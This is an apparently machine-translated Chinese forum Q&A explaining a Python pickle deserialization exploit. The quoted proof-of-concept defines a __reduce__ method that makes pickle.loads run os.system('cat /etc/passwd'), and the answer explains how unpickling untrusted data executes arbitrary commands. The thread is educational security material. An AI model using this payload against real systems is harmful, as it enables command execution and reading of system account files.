谁能向我解释Python的pickle模块中的漏洞利用示例?

Tus*_*ole -3 python pickle

我想了解python pickle模块中的利用示例吗?我从github获得了一个代码,该代码在pickle模块中显示了利用,但仍然无法理解。请指导我。

import os
import pickle


class Exploit(object):
    def __reduce__(self):
        return (os.system, ('cat /etc/passwd',))


def serialize_exploit():
    shellcode = pickle.dumps(Exploit())
    return shellcode


def insecure_deserialize(exploit_code):
    pickle.loads(exploit_code)


if __name__ == '__main__':
    shellcode = serialize_exploit()
    insecure_deserialize(shellcode)
Run Code Online (Sandbox Code Playgroud)

das*_*ell 5

解开对象时,将调用__reduce__方法。__reduce__的第一个参数是可调用的,即函数。下一个参数是__reduce__的参数元组。在这种情况下,当未利用Exploit时,将调用os.system,并为其指定'cat / etc / passwd'。

os.system允许您根据主机操作系统进行系统调用。在这种情况下,希望是Linux。

cat将文件的内容打印到标准输出中,/ etc / passwd是存储系统用户信息的位置。更多恶意代码可能会尝试通过Internet发送该信息,或者可能尝试使您的文件系统混乱,等等。

基本上,通过取消选择一个您一无所知的对象,您很容易受到__reduce__方法的影响。

https://docs.python.org/2/library/pickle.html

http://man7.org/linux/man-pages/man1/cat.1.html